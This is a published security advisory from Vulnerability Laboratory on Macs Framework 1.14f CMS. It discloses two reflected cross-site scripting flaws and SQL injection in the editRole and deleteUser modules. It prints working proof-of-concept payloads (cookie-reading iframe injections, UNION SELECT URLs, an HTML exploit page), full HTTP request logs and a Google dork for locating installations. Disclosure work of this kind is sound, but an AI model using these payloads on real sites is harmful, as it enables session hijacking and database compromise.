Macs Framework 1.14f CMS – Persistent Cross-Site Scripting
# Title: Macs Framework 1.14f CMS - Persistent Cross-Site Scripting # Author: Vulnerability Laboratory # Date: 2020-04-15 # Software Link: https://sourceforge.net/projects/macs-framework/files/latest/download # CVE: N/A Document Title: =============== Macs Framework v1.14f CMS - Multiple Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2206 Release Date: ============= 2020-04-14 Vulnerability Laboratory ID (VL-ID): ==================================== 2206 Common Vulnerability Scoring System: ==================================== 7.4 Vulnerability Class: ==================== Multiple Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Macs CMS is a Flat File (XML and SQLite) based AJAX Content Management System. It focuses mainly on the Edit In Place editing concept. It comes with a built in blog with moderation support, user manager section, roles manager section, SEO / SEF URL. https://sourceforge.net/projects/macs-framework/files/latest/download (Copy of the Homepage: https://sourceforge.net/projects/macs-framework/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple web vulnerabilities in the official Macs Framework v1.1.4f CMS. Affected Product(s): ==================== Macrob7 Product: Macs Framework v1.14f - Content Management System Vulnerability Disclosure Timeline: ================================== 2020-04-14: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ 1.1 & 1.2 Multiple non-persistent cross site scripting web vulnerabilities has been discovered in the official Mac Framework v1.1.4f Content Managament System. The vulnerability allows remote attackers to manipulate client-side browser to web-applicatio requests to compromise user sesson credentials or to manipulate module content. The first vulnerability is located in the search input field of the search module. Remote attackers are able to inject own malicious script code as search entry to execute the code within the results page that is loaded shortly after the request is performed. The request method to inject is POST and the attack vector is located on the client-side with non-persistent attack vector. The second vulnerability is located in the email input field of the account reset function. Remote attackers are able to inject own malicious script code as email to reset the passwort to execute the code within performed request. The request method to inject is POST and the attack vector is located on the client-side with non-persistent attack vector. Successful exploitation of the vulnerabilities results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Parameter(s): [+] searchString [+] emailAdress 1.3 Multiple remote sql-injection web vulnerabilities has been discovered in the official Mac Framework v1.1.4f Content Managament System. The vulnerability allows remote attackers to inject or execute own sql commands to compromise the dbms or file system of the application. The sql injection vulnerabilities are located in the `roleId` and `userId` of the `editRole` and `deletUser` module. The request method to inject or execute commands is GET and the attack vector is located on the application-side. Attackers with privileged accounts to edit are able to inject own sql queries via roleid and userid on deleteUser or editRole. Multiple unhandled and broken sql queries are visible as default debug to output for users as well. Exploitation of the remote sql injection vulnerability requires no user interaction and a privileged web-application user account. Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise. Request Method(s): [+] POST Vulnerable Module(s): [+] deleteUser [+] editRole Vulnerable Parameter(s): [+] userId [+] roleId Proof of Concept (PoC): ======================= Google Dork(s): intitle, subtitle & co. Site Powered by Mac's PHP MVC Framework Framework of the future Design downloaded from Zeroweb.org: Free website templates, layouts, and tools. 1.1 The non-persistent cross site scripting web vulnerability can be exploited by remote attackers without user account and with low user interaction. For security demonstration or to reproduce the cross site scripting web vulnerability follow the provided information and steps below to continue. PoC: Payload >">"<iframe src=evil.source onload=alert(document.cookie)>&scrollPosition=0&scrollPosition=0 PoC: Vulnerable Source <form method="post" action="https://macs-cms.localhost:8080/index.php/search" id="searchForm"> <span class="searchLabel">Search Site:</span><input type="searchString" value="" name="searchString" class="searchString"> <input type="submit" value="Search" class="searchSubmit"> </form><br> <span class="error">No Results found for: "<iframe src="evil.source" onload="alert(document.cookie)"></span> --- PoC Session Logs [POST] --- https://macs-cms.localhost:8080/index.php/search Host: macs-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 112 Origin: https://macs-cms.localhost:8080 Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE= Connection: keep-alive Referer: https://macs-cms.localhost:8080/index.php Cookie: PHPSESSID=h81eeq4jucus8p9qp146pjn652; Upgrade-Insecure-Requests: 1 searchString=>">"<iframe src=evil.source onload=alert(document.cookie)>&scrollPosition=0&scrollPosition=0 - POST: HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Content-Length: 9865 1.2 The non-persistent cross site scripting web vulnerability can be exploited by remote attackers without user account and with low user interaction. For security demonstration or to reproduce the cross site scripting web vulnerability follow the provided information and steps below to continue. PoC: Exploitation test"<iframe src=evil.source onload=alert(document.cookie)>@gmail.com PoC: Vulnerable Source <form method="post" action="https://macs-cms.localhost:8080/index.php/main/cms/login" class="ajax" ajaxoutput="#loginMessage"> <table style="width:100%"> <tbody><tr> <td style="width: 20px">Username:</td> <td><input type="text" name="username"></td> </tr> <tr> <td>Password:</td> <td><input type="password" name="password"></td> </tr> <tr> <td colspan="2"><input type="submit" value="Login"></td> </tr> <tr> <td colspan="2"><br><div id="loginMessage" style="display: block;">Invalid Username or Password</div></td> </tr> </tbody></table> <br> <a href="https://macs-cms.localhost:8080/index.php/main/cms/forgotPassword" class="ajax" ajaxoutput="#forgotPassword">Forgot Password</a> <input type="hidden" name="scrollPosition" value="102"></form> <div id="forgotPassword" style="display: block;"> <form class="ajax" method="post" action="https://macs-cms.localhost:8080/index.php/main/cms/forgotPasswordProcess" ajaxoutput="#forgotPasswordReturn"> Enter your email address: <input type="text" name="emailAddress"><br> <input type="submit" value="Send Email"> </form> <br> <div id="forgotPasswordReturn" style="display: block;">Cannot find user with Email address: test"<iframe src=evil.source onload=alert(document.cookie)>@gmail.com</iframe></div> </div> --- PoC Session Logs [POST] --- https://macs-cms.localhost:8080/index.php/main/cms/forgotPassword Host: macs-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 17 Origin: https://macs-cms.localhost:8080 Connection: keep-alive Referer: https://macs-cms.localhost:8080/index.php/main/cms/login Cookie: PHPSESSID=h81eeq4jucus8p9qp146pjn652; ajaxRequest=true - POST: HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=ISO-8859-1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Content-Length: 335 - https://macs-cms.localhost:8080/index.php/main/cms/forgotPasswordProcess Host: macs-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 123 Origin: https://macs-cms.localhost:8080 Connection: keep-alive Referer: https://macs-cms.localhost:8080/index.php/main/cms/login Cookie: PHPSESSID=h81eeq4jucus8p9qp146pjn652; ajaxRequest=true&=&emailAddress=test"<iframe src=evil.source onload=alert(document.cookie)>@gmail.com - POST: HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=ISO-8859-1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Content-Length: 105 1.3 The remote sql injection web vulnerability can be exploited by remote attackers with privileged application user account and without user interaction. For security demonstration or to reproduce the cross site scripting web vulnerability follow the provided information and steps below to continue. PoC: Payload %27-1%20order%20by%205-- %27-1%20union select 1,2,3,4,@@version-- PoC: Exploitation <html> <head><body><title>Mac's CMS SQL Injection PoC</title> <iframe src=https://macs-cms.localhost:8080/index.php/main/cms/editRole?roleId=%27-1%20order%20by%205--%20> <iframe src=https://macs-cms.localhost:8080/index.php/main/cms/editRole?roleId=%27-1%20union select 1,2,3,4,@@version--%20> <iframe src=https://macs-cms.localhost:8080/index.php/main/cms/deleteUser?userId=%27-1%20order%20by%205--%20> <iframe src=https://macs-cms.localhost:8080/index.php/main/cms/deleteUser?userId=%27-1%20union select 1,2,3,4,@@version--%20> </body></head> </html> --- PoC Session Logs [GET] --- https://macs-cms.localhost:8080/index.php/main/cms/editRole?roleId='-1 order by 5-- Host: macs-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: __utma=72517782.1164807459.1586620290.1586620290.1586620290.1; Upgrade-Insecure-Requests: 1 - GET: HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Content-Length: 53 --- [SQL Error Exception Logs] --- SQLSTATE[HY000]: General error: 1 near "1": syntax error - Error executing SQL statement SQLSTATE[HY000]: General error: 1 unrecognized token: "''';" - Error executing SQL statement SQLSTATE[HY000]: General error: 1 1st ORDER BY term out of range - should be between 1 and 5 - 5.0.12 'pwnd This page was created in 1.5665068626404 seconds Security Risk: ============== 1.1 & 1.2 the security risk of the client-side cross site scripting web vulnerabilities in the search and email reset function are estimated as medium. 1.3 The security risk of the remote sql injection web vulnerabilities in the id parameters on delete are estimated as high. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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